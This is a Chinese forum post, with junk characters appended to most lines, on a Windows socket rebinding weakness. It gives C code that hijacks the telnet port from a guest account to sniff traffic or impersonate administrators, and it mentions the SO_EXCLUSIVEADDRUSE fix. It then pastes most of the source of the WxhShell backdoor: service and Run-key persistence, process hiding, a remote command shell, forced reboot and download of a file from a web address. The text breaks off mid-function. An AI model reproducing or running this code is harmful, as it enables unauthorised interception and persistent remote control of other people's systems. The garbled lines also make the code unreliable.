社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9391阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <,jAk4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _9D|u<D  
#|qm!aGs  
  saddr.sin_family = AF_INET; z^4KU\/JK  
ETU-]R3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zuUT S[  
`WH[DQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F\>oxttS1  
oi7 3YOB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K!3{M!B   
M'yO+bu  
  这意味着什么?意味着可以进行如下的攻击: ]e^R@w  
JXpoCCe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >|wKXz  
f?,-j>[.=f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~O \}/I28  
B{s]juPG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 12idM*  
'@'B>7C#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :3JCvrq  
g[/^cJHQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O$a#2p&  
*"1~bPl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9'1hjd3k  
D9ANm"#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S8\+XJ  
aK]7vp+  
  #include @u,+F0Yd  
  #include KwS`3 6:  
  #include iJ}2"i7M  
  #include    (nGkZ}p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i-`,/e~XT  
  int main() )))2f skZ  
  { br b[})}  
  WORD wVersionRequested; g^1r0.Sp{8  
  DWORD ret; j5kA^MTG  
  WSADATA wsaData; YU&4yk lE  
  BOOL val; Ba<ngG !  
  SOCKADDR_IN saddr; Q/p(#/y#b  
  SOCKADDR_IN scaddr; }/20%fP  
  int err; y =R aJm  
  SOCKET s; NdZ)[f:2  
  SOCKET sc; ASR-a't6  
  int caddsize; wTT RoeJ}  
  HANDLE mt; djUihcqA`  
  DWORD tid;   lqF>=15  
  wVersionRequested = MAKEWORD( 2, 2 ); ^%;"[r  
  err = WSAStartup( wVersionRequested, &wsaData ); sH%&+4!3  
  if ( err != 0 ) { s}wO7Df=+  
  printf("error!WSAStartup failed!\n"); #zxd;;p3  
  return -1; rsWQHHkO  
  } V{!lk]p}a  
  saddr.sin_family = AF_INET; z OtkC3hY  
   0{Bf9cH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _74UdD{^o  
' PELf P8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;d4 y{  
  saddr.sin_port = htons(23); 6z Ay)~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jz0K}^Dj[  
  { "=qv#mZ#9  
  printf("error!socket failed!\n"); TFO74^  
  return -1; `|Ey)@w  
  } !nwbj21%  
  val = TRUE; SZ/(\kQ6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \*uugw,\y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @l{I[pp  
  { }wfI4?}j}  
  printf("error!setsockopt failed!\n"); ^p,3)$  
  return -1; UxeL cUP  
  } y1iX!m~)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [m\,+lG?)j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8'KMxR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iX{H,- C  
fWj@e"G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X@!X6j  
  { G]-%AO{K  
  ret=GetLastError(); 7%4.b7Q  
  printf("error!bind failed!\n"); 45) D+  
  return -1; U+} y %3l  
  } as(*B-_n~  
  listen(s,2); >b>gr OX  
  while(1) Oxv+1Ub<Dv  
  { ^7Lk-a7gp  
  caddsize = sizeof(scaddr); !Av1Leb9$  
  //接受连接请求 -KiRj!v|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); + 8f>^*:u  
  if(sc!=INVALID_SOCKET) ~T02._E  
  { +`| mJa  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =:gjz4}_8  
  if(mt==NULL) =UNT.]  
  { dKm`14f]@G  
  printf("Thread Creat Failed!\n"); Jn*Nao_)  
  break; yX'IZk#_L  
  } j7}lF?cJ2  
  } i:d`{kJ|[  
  CloseHandle(mt); V\AK6U@r^  
  } Y%g "Y  
  closesocket(s); V9T 4 +  
  WSACleanup(); aM$=|%9/  
  return 0; wWTQ6~Y%d  
  }   n' ?4.tb  
  DWORD WINAPI ClientThread(LPVOID lpParam) e\r7BW\Y  
  { B'p5M.6d#:  
  SOCKET ss = (SOCKET)lpParam; b66R}=P l  
  SOCKET sc; :CTL)ad2  
  unsigned char buf[4096];  , ]7XMU3  
  SOCKADDR_IN saddr; &2{]hRM  
  long num; nhewDDu  
  DWORD val; 3u_oRs  
  DWORD ret; b@ 6:1x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c4 5?St  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @8zT'/$  
  saddr.sin_family = AF_INET; dF e4K"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /PqUXF  
  saddr.sin_port = htons(23); (;UP%H>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +i=p5d5  
  { 59i]  
  printf("error!socket failed!\n"); z h%qS~8Yv  
  return -1; 2ce'fMV  
  } G#0,CLGN^  
  val = 100; K2HvI7$-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZoxS*Xk  
  { hJ[UB  
  ret = GetLastError(); \f"1}f  
  return -1; $)*xC!@6X  
  } SA+d&H}Fc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6V2j*J  
  { kOipH |.x  
  ret = GetLastError(); dE [Ol   
  return -1; Ek ZjO Ci  
  } K]<u8eF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zQc"bcif5(  
  { S?4KC^Y5  
  printf("error!socket connect failed!\n"); ~<,Sh~Ana.  
  closesocket(sc); -B 9S}NPo  
  closesocket(ss); q- :4=vkn  
  return -1; a#y{pT2 b  
  } =dGKF`tR  
  while(1) -:S IS`0s  
  { 7Z0/(V.-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }g{_AiP rv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S+ebO/$>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {ma;G[!  
  num = recv(ss,buf,4096,0); 4SR(->@  
  if(num>0) kA^A mfba  
  send(sc,buf,num,0); {|6z+vR  
  else if(num==0) gz61FW  
  break; e$|VG* d  
  num = recv(sc,buf,4096,0); aZKXD! 4  
  if(num>0) c'0 5{C  
  send(ss,buf,num,0); _{Y$o'*#I  
  else if(num==0) T3z(k la  
  break; yM ,VrUh  
  } _- %d9@x  
  closesocket(ss); M|r8KW~S)  
  closesocket(sc); sRq U]i8l  
  return 0 ; Pp*}R2  
  } ~@P)tl>  
I4il R$jg  
YPszk5hn  
========================================================== 1[DS'S  
0S.?E.-&0  
下边附上一个代码,,WXhSHELL zfjw;sUX  
?"j@;/=  
========================================================== >a=d;  
>^3zU   
#include "stdafx.h" C[YnrI!  
+'XhC#:  
#include <stdio.h> T//S,   
#include <string.h> Df@/cT  
#include <windows.h> e{C6by"j{S  
#include <winsock2.h> F=}Z51|:~  
#include <winsvc.h> 2Va4i7"X\  
#include <urlmon.h> V;93).-$  
Dp^/gL=  
#pragma comment (lib, "Ws2_32.lib") {?i)K X^  
#pragma comment (lib, "urlmon.lib") D{C:d\ e)$  
C).2gQ G  
#define MAX_USER   100 // 最大客户端连接数 ce'TYkPM  
#define BUF_SOCK   200 // sock buffer Km*<Kfcz  
#define KEY_BUFF   255 // 输入 buffer lIh[|]  
]y LhJ_^  
#define REBOOT     0   // 重启 " H1:0p  
#define SHUTDOWN   1   // 关机 W-D[z#)/Y  
QlD6i-a  
#define DEF_PORT   5000 // 监听端口 ~lw<799F6  
ow.j+ <M  
#define REG_LEN     16   // 注册表键长度 oT3Y!Y3=<  
#define SVC_LEN     80   // NT服务名长度 #C\4/g? =,  
/ Z!i;@Wf  
// 从dll定义API D$nK`r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K"l0w**Og#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @\}YAa>>"I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ Nb%L&=P8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l h/&__  
M<[ ?g5=#  
// wxhshell配置信息 irMd jG  
struct WSCFG { %MJ;Q?KB  
  int ws_port;         // 监听端口 8#59iQl  
  char ws_passstr[REG_LEN]; // 口令 mP-2s;q  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y {c5  
  char ws_regname[REG_LEN]; // 注册表键名 !Iq{ 5:  
  char ws_svcname[REG_LEN]; // 服务名 &1GUi{I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |(ocDmd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .7Kk2Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & iSD/W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nn#u%xvJt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VJ{pN~_1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SI*^f\lu  
\!H{Ks{#R.  
}; B*@6xS[IL  
~m`!;rE  
// default Wxhshell configuration V8"Wpl9Cz  
struct WSCFG wscfg={DEF_PORT, iV hJH4  
    "xuhuanlingzhe", \##`pa(8  
    1, f=I:DkR  
    "Wxhshell", ]}2Ztr)zZ  
    "Wxhshell", nY^Nbh0  
            "WxhShell Service", d 4O   
    "Wrsky Windows CmdShell Service", Fu)Th|5GZ  
    "Please Input Your Password: ", -&Gfh\_NW  
  1, hz)9"B\S  
  "http://www.wrsky.com/wxhshell.exe", f\K#>u* Q  
  "Wxhshell.exe" 2 F?kjg,  
    }; n`L,]dco  
gb 4pN  
// 消息定义模块 nGrVw&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;nB2o-%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bPd-D-R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v8@eW.I1  
char *msg_ws_ext="\n\rExit.";  @Fx@5e  
char *msg_ws_end="\n\rQuit."; FA$zZs10\  
char *msg_ws_boot="\n\rReboot..."; rt b*n~  
char *msg_ws_poff="\n\rShutdown..."; T9)wj][ .  
char *msg_ws_down="\n\rSave to "; ,7,;twKz  
V(mn yI  
char *msg_ws_err="\n\rErr!"; +Me2U9  
char *msg_ws_ok="\n\rOK!"; (@&I_>2Q  
._<ii2K'  
char ExeFile[MAX_PATH]; JSW&rn  
int nUser = 0; nNn56&N]  
HANDLE handles[MAX_USER]; fk3kbdI  
int OsIsNt; PZM42"[&  
MF.[8Zb  
SERVICE_STATUS       serviceStatus; T;?+kC3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; % vS8?nG  
8tQ|-l *  
// 函数声明 F2>%KuM  
int Install(void); {}\CL#~y  
int Uninstall(void); GLh]G(  
int DownloadFile(char *sURL, SOCKET wsh); b!a %YLL  
int Boot(int flag); ^M Ey,  
void HideProc(void); n Ga1a  
int GetOsVer(void); T1N H eH>  
int Wxhshell(SOCKET wsl); E $6ejGw-  
void TalkWithClient(void *cs); 1dv=xe.  
int CmdShell(SOCKET sock); ')o0O9/;  
int StartFromService(void); 3Gd0E;3sk~  
int StartWxhshell(LPSTR lpCmdLine); e4.&aIC[  
6 = gp:I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hg(5S,O2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =nhzMU9c\y  
*Bw#c j  
// 数据结构和表定义 U e*$&VlT  
SERVICE_TABLE_ENTRY DispatchTable[] = {ZqQ!!b  
{ &!1}`4$[T  
{wscfg.ws_svcname, NTServiceMain}, ;KcFy@ 6q5  
{NULL, NULL} ?`P2'i<b  
}; N@1p]\  
SrZ50Se  
// 自我安装 o'Y#H r)/  
int Install(void) A1_ J sS  
{ Qpu3(`d<  
  char svExeFile[MAX_PATH]; +qkMQETV6  
  HKEY key; mJMq{6;  
  strcpy(svExeFile,ExeFile); nem@sB;v#  
L[C*@ uK  
// 如果是win9x系统,修改注册表设为自启动 $G[KT):N  
if(!OsIsNt) { ,")F[%v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xo~g78jm7,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +,_c/(P  
  RegCloseKey(key); kwar}:`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `&g:d E(j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yJ/#"z=h?  
  RegCloseKey(key); M#M?1(O/NE  
  return 0; |I1+"Mp  
    } ~@fR[sg<  
  } 2k+16/T  
} -e*BqH2t  
else { v2J0u:#,  
")M;+<c"l  
// 如果是NT以上系统,安装为系统服务 ;[Tyt[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _4R,Ej}  
if (schSCManager!=0) {L9yhYw  
{ j>!sN`dBj  
  SC_HANDLE schService = CreateService OoaY  
  ( v~5<:0dL  
  schSCManager, sv=H~wce  
  wscfg.ws_svcname, n\ Uh  
  wscfg.ws_svcdisp, ma]? )1<{  
  SERVICE_ALL_ACCESS, 0Hcbkep9D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n\= (S9  
  SERVICE_AUTO_START, 4VFc|g  
  SERVICE_ERROR_NORMAL, oh\1>3,Ns  
  svExeFile, yWHne~!  
  NULL, 2Xgx*'t\  
  NULL, o!Fl]3F  
  NULL, #F4X}  
  NULL, <SQ(~xYi  
  NULL 8^X]z|2  
  ); @^CG[:|  
  if (schService!=0) fn1pa@P  
  { ,so4Lb(vG  
  CloseServiceHandle(schService); hW%p#g;  
  CloseServiceHandle(schSCManager); Dh`=ydI5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h{/ve`F>@  
  strcat(svExeFile,wscfg.ws_svcname); BKA]G)G7u!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \n0gTwiO%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xG%*PNM0q  
  RegCloseKey(key); mP!N<K  
  return 0; 4oJ$dN  
    } fuyl/bx}  
  } J3&Sj{ o  
  CloseServiceHandle(schSCManager); HRHrSf7  
} *?N<S$m  
} iQ{z6Qa  
1S*P"8N}0h  
return 1; XU-*[\K  
} ]fC7%"nB  
DMMLzS0A  
// 自我卸载 [ &daG:  
int Uninstall(void) !KDr`CV&  
{ Tc_do"uU  
  HKEY key; V}:'Xgp*N  
\HG$V>2  
if(!OsIsNt) { CJA+v-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .K7C-Xn=  
  RegDeleteValue(key,wscfg.ws_regname); 4\1;A`2%0  
  RegCloseKey(key); YFqZe6g0$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :gaETr  
  RegDeleteValue(key,wscfg.ws_regname); o^PuhVu  
  RegCloseKey(key); bK7.St  
  return 0; z1Q2*:)c  
  } p1^0{ILx  
} ^j iE9k)  
} v= 8VvT 8  
else { ?cxr%`E  
7@~QkTH~y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y^3)!>  
if (schSCManager!=0) $_bZA;EMQ  
{ $rTu6(i1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6$(0Ty  
  if (schService!=0) h--45`cE  
  { >[P%Ty);  
  if(DeleteService(schService)!=0) { l/F!Bq[*g  
  CloseServiceHandle(schService); -lnevrl   
  CloseServiceHandle(schSCManager); +"Ub/[J{G1  
  return 0; 0BDoBR  
  } cz>mhD  
  CloseServiceHandle(schService); J {!'f| J  
  } |h D~6a  
  CloseServiceHandle(schSCManager); cIZ[[(Db  
} ]b )!YPo  
} D O%Pwfkd  
, QA9k$`  
return 1; ifHU|0_=  
} sW'6} ^Q  
raF] k0{  
// 从指定url下载文件 BPiiexTV9  
int DownloadFile(char *sURL, SOCKET wsh) OA5f}+  
{ req-Q |  
  HRESULT hr; (GNEYf|  
char seps[]= "/"; L ]*`4 L  
char *token; R9r)C{63S&  
char *file; Z:c*!`F  
char myURL[MAX_PATH]; m:"+J  
char myFILE[MAX_PATH]; 1x;@~yU  
Y2D >tpqNw  
strcpy(myURL,sURL); [%? hCc  
  token=strtok(myURL,seps); sL8>GtVo  
  while(token!=NULL) GVZTDrC  
  { vlAy!:CV  
    file=token; UeNF^6sWu0  
  token=strtok(NULL,seps); L5&K}F]r^  
  } TR?Bvy2s:g  
FR(QFt!g  
GetCurrentDirectory(MAX_PATH,myFILE); w_!%'9m>  
strcat(myFILE, "\\"); /]g>#J%b  
strcat(myFILE, file); S%{lJYwXt  
  send(wsh,myFILE,strlen(myFILE),0); UI_v3c3b  
send(wsh,"...",3,0); <dS5|||  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); > '.[G:b  
  if(hr==S_OK) vuW-}fY;  
return 0; JeL~]F  
else 18rp; l{  
return 1; G1TANy  
LGXZx}4@;  
} 1Df, a#,y"  
%2,/jhHL  
// 系统电源模块 X]MTaD.t  
int Boot(int flag) FF jRf  
{ p$XnOh  
  HANDLE hToken; Qqh^E_O  
  TOKEN_PRIVILEGES tkp; ILNXaJ'0a  
5E0wn'  
  if(OsIsNt) { D>S8$]^Dm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '?b\F~$8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <a fO 6?`  
    tkp.PrivilegeCount = 1; ~7dF/Nn5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oHk27U G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [)0 R'xL6  
if(flag==REBOOT) { y%FYXwR{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gz#+  
  return 0; 7<vy;"wB  
} $q^O%(  
else { sN=KRqe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vv!Bo~L1,  
  return 0; 8ZFH}v@V1'  
} ePi Z  
  } _=6vW^ s  
  else { Agz=8=S%  
if(flag==REBOOT) { IE|, ~M2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fmBkB8  
  return 0; >r~|1kQ.  
} y=wdR|b  
else { ^SgN(-QH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Cu1uwy  
  return 0; !*9FKDB{  
} yZ?$8r  
} x!>d 6lgej  
r<v_CFJ  
return 1; o;E (Kj  
} =m7CJc  
uRFNfX(*  
// win9x进程隐藏模块 8cB=}XgYS  
void HideProc(void) *XHj)DC;  
{ 50COL66:7  
J#+Op/mmo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y _6r/z^  
  if ( hKernel != NULL ) BL7>dZOa  
  { 'r6cVBb}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6R L~iD;X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b#e]1Q  
    FreeLibrary(hKernel); @PKAz&0  
  } \6U 2-m'  
1T:)Zv'  
return; _@7(g(pY 3  
} { qjUI  
1]HHe*'Z  
// 获取操作系统版本 U n]DFu  
int GetOsVer(void) 0,bt^a  
{ xJ$Rs/9C  
  OSVERSIONINFO winfo; haN"/C^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7(H ?k  
  GetVersionEx(&winfo); y)0gJP L^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <. ezw4ju  
  return 1; r!CA2iK`  
  else `d.Gw+Un  
  return 0; F|9a}(-7  
} Ca$y819E2  
t`h_+p%>  
// 客户端句柄模块 u6]gQP">I  
int Wxhshell(SOCKET wsl) { 576+:*  
{ i[mC3ghM6,  
  SOCKET wsh; !'+\]eA  
  struct sockaddr_in client; !,I7 ?O  
  DWORD myID; j )<;g(  
b!0'Qidh0  
  while(nUser<MAX_USER) }#1U D  
{ er#8D6*  
  int nSize=sizeof(client); kx:c*3q.k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S_a :ML<  
  if(wsh==INVALID_SOCKET) return 1; 8moUK3w  
?0? x+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l# }As.o}  
if(handles[nUser]==0) :P HUsy  
  closesocket(wsh); `^?}s-H+  
else nZ"{y  
  nUser++; y?[5jL|Ue  
  } ]r"31.w(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~GAlNIv]  
h<+PP]l=  
  return 0; -7&^jP\,  
} ?T tQZ  
dl7Riw-J  
// 关闭 socket Q]yV:7  
void CloseIt(SOCKET wsh) wgC??Be;ut  
{ lpIteZw:  
closesocket(wsh); )e @01l  
nUser--; Z|V"8jE  
ExitThread(0); VFQq`!*i  
} EI[e+@J  
xgZV0!%  
// 客户端请求句柄 n ;Ql=4  
void TalkWithClient(void *cs) :!r9 =N9  
{ Bu*W1w\  
#|)JD@;Q  
  SOCKET wsh=(SOCKET)cs; t-3v1cv"  
  char pwd[SVC_LEN]; yg]suU<z]  
  char cmd[KEY_BUFF]; 53g8T+`\(  
char chr[1]; M!;`(_2  
int i,j; <1;,B%_^  
K0d-MC   
  while (nUser < MAX_USER) { s :-8 Z\,  
<B|n<R<?  
if(wscfg.ws_passstr) { Z!q2F%02FO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AAIyr703cQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]>]#zu$=c  
  //ZeroMemory(pwd,KEY_BUFF); <Tj"GVZAEO  
      i=0; !=8L.^5c  
  while(i<SVC_LEN) { V+4k!  
 }qgqb  
  // 设置超时 L8,H9T#e  
  fd_set FdRead; eO|^Lu]+  
  struct timeval TimeOut; jhjW* F<u  
  FD_ZERO(&FdRead); ]# tGT0   
  FD_SET(wsh,&FdRead); clPZd  
  TimeOut.tv_sec=8; YR^Ee8_H  
  TimeOut.tv_usec=0; l%-67(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^.pE`l%1}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ZL r:2+z  
N7RG5?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &0;{lS[N:L  
  pwd=chr[0]; P#vv+]/  
  if(chr[0]==0xd || chr[0]==0xa) { 3B!&ow<rt  
  pwd=0; N}.Q%&6:  
  break; l<0[ K(  
  } C,sD?PcSi+  
  i++; 2n-Tpay0  
    } bc0)'a\  
*:fw6mnJ#  
  // 如果是非法用户,关闭 socket DK#65H'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nqo#sBS  
} nzQYn  
|k['wqn"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YoSo0fQA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Vp,YN+yN  
^C,/T2>  
while(1) { [0**&.obz  
S<2CG)K[  
  ZeroMemory(cmd,KEY_BUFF); Q KcF1?  
d[P>jl%7  
      // 自动支持客户端 telnet标准   n)1  
  j=0; <{-(\>f!9  
  while(j<KEY_BUFF) { hy!'Q>[`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = C$ @DNEc  
  cmd[j]=chr[0]; o3\SO  
  if(chr[0]==0xa || chr[0]==0xd) { u~naVX\3b  
  cmd[j]=0; 84hi, S5P  
  break; s)o ,Fi  
  } k#IS ,NKE  
  j++; &<fRej]v  
    } !~w6"%2+7  
?@g;[310`  
  // 下载文件 PJSDY1T  
  if(strstr(cmd,"http://")) { &}L36|A:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Eezlx9b  
  if(DownloadFile(cmd,wsh)) $Z(g=nS>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[.z"$T@  
  else r[UyI3(i^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp^[]Mz=  
  } .JD4gF2N  
  else { 1"4nmw}  
P"~qio-  
    switch(cmd[0]) { _($-dJ {  
  yuy+}]uB@  
  // 帮助 \KnD"0KW   
  case '?': { %Zv(gI`A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I 1VEm?CQ  
    break; Z@c0(ol  
  } TYJnQ2m  
  // 安装 Ls$g-k%c@Q  
  case 'i': { !e#I4,fn  
    if(Install()) mKf>6/s{c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jV|$? Rcl%  
    else LBbo.KxAe3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $@:>7Y"  
    break; ]` &[Se d  
    } D"( 3VIglq  
  // 卸载 TW-zh~|F  
  case 'r': { J?n)FgxS  
    if(Uninstall()) NbdMec  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ">d|oC  
    else i Ks,i9j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . ;ea]_Z  
    break; Fgc:6<MGM  
    } _1>(GK5[  
  // 显示 wxhshell 所在路径 >m_ p\$_  
  case 'p': { ;SlS!6.W-  
    char svExeFile[MAX_PATH]; S'%cf7Z  
    strcpy(svExeFile,"\n\r"); t\|K"  
      strcat(svExeFile,ExeFile); asmW W8lz  
        send(wsh,svExeFile,strlen(svExeFile),0); abJ@>7V  
    break; d'x<F[`O  
    } "e7$q&R |  
  // 重启 F)<G]i8n~  
  case 'b': { h2/1S{/n]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hOrk^iYN=  
    if(Boot(REBOOT)) L9unhx  
